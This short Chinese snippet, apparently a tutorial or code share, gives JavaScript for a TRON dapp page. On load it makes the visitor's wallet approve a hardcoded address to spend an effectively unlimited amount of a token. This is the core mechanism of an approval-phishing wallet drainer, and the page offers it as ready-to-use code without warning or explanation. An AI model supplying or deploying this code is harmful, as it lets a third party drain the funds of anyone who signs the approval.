波场dapp授权交易

TRON发起授权转账

if (window.tronWeb) {
    let approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; //授权合约
        let authorized_address = "TXiecoAYeBiAXCuy3nmRPub3KxrEtyobvk"; //授权toAddress
    let tronWeb = window.tronWeb
    let walletAddress = tronWeb.defaultAddress.base58;
    let instance = await tronWeb.contract().at(approveAddr);
    let res = await instance["approve"](authorized_address || 'TXiecoAYeBiAXCuy3nmRPub3KxrEtyobvk', "90000000000000000000000000000");
    res.send({
        feeLimit: 100000000,
        callValue: 0,
        shouldPollResponse: false
    }, function(err, res) {
        console.log(err,res)
    })
}else{
  alert('请切换至波场钱包')
}